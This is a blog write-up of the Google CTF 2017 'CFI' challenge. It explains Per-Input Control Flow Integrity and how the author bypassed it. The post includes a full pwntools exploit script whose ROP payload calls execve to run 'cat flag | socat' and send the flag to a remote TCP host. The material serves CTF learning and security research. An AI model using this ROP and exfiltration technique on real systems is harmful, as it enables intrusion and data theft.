GOOGLE CTF 2017 Qualification PWN CFI Write-up

Introduction

Solves: 5 Points:420

Last week, I introduce PICFI and its implementation  (Per-Input Control Flow Integrity), in this post I will give a detailed write-up about my solution on this challenge. Angelboy has posted his write-up on Github [1], so my post will discuss more about the details in PICFI, and how I write the final exploit.

Per-Input Control Flow Integrity

As described in the paper of PICFI, the function call under CFI will be replaced with a patch function at loading time. The patch function will dynamically activate the backward edge (return) and forward edge (function pointer) in static CFG at runtime.

At binary level:

20171110001.png
After loading into memory:

20171110002

After the function is executed:

20171110003

After the backward edge or forward edge is activated in the CFG, PICFI will insert check before return or indirect call. I take read function as an example

20171110004

20171110005

After returning from __syscall_cp, the execution flow will go into __syscall_ret for returning to the callsite. At 0x245d6, the return address is pop up from the stack and compared with the intended value at 0x245e6. If the target address is a valid one, the execution flow continues. Otherwise, the control flow will be diverted to __report_cfi_violation_for_return

How to exploit

In this challenge, we are given the ability to write anything anywhere. So the basic idea is to construct ROP for exploitation. Because of the existence of PICFI, we are facing with two questions to solve:
Q1: Where can we hijack control flow to?
Q2: How do we call execve/system.

Control Flow Hijacking

Though the existence of PICFI, it does not mean we cannot hijack control flow. In PICFI, a backward edge is valid is the following two conditions are satisfied:
C1: The preceding instruction of the target address is a function call (CALL funA) targeting the current function.
C2: The function call (CALL funA) has been executed at least once.

To make it clear, the control flow as shown below is allowed in PICFI. (The line represents the control flow. Forgive my bad drawing)
20171110010

Call execve/system

Initially, I want to divert the control flow to system in main function. However, I find that such control flow is impossible under the constraint of PICFI. So I decide to find other target. Recall that the system function will internally call execve. With some debugging I find the callsite below:
20171110011

20171110012

Function 0xff59acc0 is exactly execve in libc. Moreover, values of all critical registers are retrieved from stack. So that’s it.

Exploitation Plan

So the whole exploitation is divided into two steps. In the first step, we have to somehow hijack the control flow to somewhere before 0xff59b8ee via ROP. In my exploit, I pick __syscall_cp and close to jump to 0xff598418. In the second step, set the value in stack according the relative offset.
At first, I want to directly run execve(“/bin/sh”, NULL, NULL) at the indirect callsite. But I find that I cannot get the shell. I doubt that may be relative to the spawn mechanism in Linux. So I decide to pick an alternative method to cat the message to a remote server. In future, I may try to figure out a more stable and simple way to get the flag.

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("1.2.3.4", 2333);
elif(DEBUG == 1):
    r = process("./cfi");
elif(DEBUG == 2):
    r = process("./cfi");
    gdb.attach(r, '''source ./script''');

def halt():
    while(True):
        log.info(r.recvline());

def aa(ra):
    return 0xff544000 + ra;

# the base address of stack differs. In my test, I set a breakpoint at
# syscall_cp in read to get the base address in stack
# in real exploit I think I need to use cyclic string to overwrite the whole stack
# decide the base address of stack from feedback given by server.
stackAddr = 0xfffff1c8;

r.recvuntil("addr?");
r.sendline(hex(stackAddr)[2:]);

r.recvuntil("len?");
r.sendline("300");

payload = p64(aa(0x882e8));
payload += p64(0xbabecafe)*0x1 + p64(aa(0x57418));

fakeR14 = stackAddr+0x8;
fakeRDI = stackAddr + 0xc0;#0xfffff1c8; #stackAddr+;
fakeRSI = stackAddr + 0xc8; #stackAddr + 0xc8; #0xfffff1d0; #0x500;
fakeRDX = 0; #0xfffff2a8; #0x0;
payload += p64(fakeR14) + p64(0) * 14 + p64(fakeRDI) + p64(0xff59acc0);

payload += p64(0) * 2 + p64(fakeRSI) + p64(fakeRDX) + "/bin/sh"+"\x00"*1
+ p64(fakeRDI) + p64(stackAddr+0x100) + p64(stackAddr+0x103) + p64(0)*4 +
"-c\x00cat flag | socat - TCP4:10.0.2.15:31337\x00"; 

r.recvuntil("data?");
r.send(payload);

And the final result is shown as below
20171110013

Conclusion

CFI is a popular security research. In this challenge, we are required to bypass PICFI with ROP. I think this is a good lesson for academic researchers. Great thanks to this challenge.
I think this challenge is very helpful for improving debugging skills. Since the binary code is self-modifying, we need to use hbreak to set breakpoint for debugging. Also properly setting follow-fork-mode will also help me debug.

Reference

[1] https://github.com/scwuaptx/CTF/blob/master/2017-writeup/gctf/cfi.py

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.